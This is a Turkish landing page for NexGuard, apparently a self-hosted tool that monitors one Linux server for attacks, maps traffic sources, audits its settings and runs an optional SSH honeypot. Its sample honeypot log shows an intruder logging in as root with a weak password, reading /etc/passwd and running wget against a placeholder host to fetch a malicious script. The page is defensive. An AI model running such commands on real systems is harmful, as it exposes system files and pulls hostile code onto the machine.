Saldırı altında mıyım?
Paket hızı, bant, yarı açık bağlantılar ve IP başına bağlantı 5 saniyede bir ölçülür. Eşik aşılınca durum hapı ve çerçeve renk değiştirir, nedeni yanında yazar. Telegram veya webhook ile haber verir.
Sunucunda ne olduğunu, veriyi sunucudan çıkarmadan gör.
NexGuard tek bir Linux sunucusunu izler: saldırı var mı, trafik nereden geliyor, ayarlarında açık var mı. Her şey kendi makinende çalışır.
Bağlantı0TCP
Ülke0kaynak
Aracı ağ0%
Paket0paket/sn
SYN_RECV0yarı açık
Örnek veri. Gerçek bir sunucudan gelmiyor; düğmelerle durumu değiştirip arayüzün tepkisini görebilirsin.
Trafik nereden geliyor?
Bağlı IP'ler yerel veritabanıyla ülke ve ağ sağlayıcısına eşlenir. Tor çıkışları ve barındırma ağları işaretlenir, çünkü görünen konum çoğu zaman saldırganın gerçek konumu değildir. Panel bunu sana açıkça söyler.
Sunucum ne kadar sağlam?
Denetim SSH ayarlarını, açık portları, firewall'u, kullanıcıları, dosya izinlerini ve çekirdek ayarlarını okur; skor verir ve her bulgu için komut önerir. Hiçbir şeyi kendisi değiştirmez.
Kapıyı zorlayan ne deniyor?
Başarısız SSH girişleri ülke, IP ve kullanıcı adına göre listelenir. İsteğe bağlı tuzak ise ayrı bir portta sahte bir SSH açar: saldırgan girdiğini sanır, denediği şifreler ve yazdığı komutlar kaydedilir, gerçek sisteme hiç dokunamaz. Panelden tek düğmeyle açılıp kapanır.
Örnek kayıt
giriş: root / admin123
$ whoami
$ uname -a
$ cat /etc/passwd
$ wget http://ornek.invalid/kotu.shSahte sistemde çalıştı. Gerçek sunucuda hiçbir şey olmadı, dosya inmedi.
Yapamadıkları
Bir güvenlik aracının neyi göremediğini bilmen, neyi gördüğünü bilmen kadar önemli.
- Hat doyuran saldırıları durdurmaz. Trafik sunucuya varmadan önce kesilmesi gerekir; bunun için sağlayıcın veya Cloudflare gibi bir ön katman lazım. NexGuard tespit eder ve haber verir.
- UDP ve ICMP selinin kaynağını göstermez. Harita yalnızca TCP bağlantılarını görür.
- Saldırganın gerçek yerini bulmaz. Gösterdiği, trafiğin geldiği ağdır; VPN, Tor ve ele geçirilmiş cihazlar bunu yanıltabilir.
- Gerçek SSH'ta denenen şifreleri göstermez. Şifreleri yalnızca tuzak görür; gerçek girişte kaydetmek senin şifreni de açığa çıkarırdı.
- Birden çok sunucuyu tek ekranda toplamaz. Her kurulum kendi sunucusunu izler.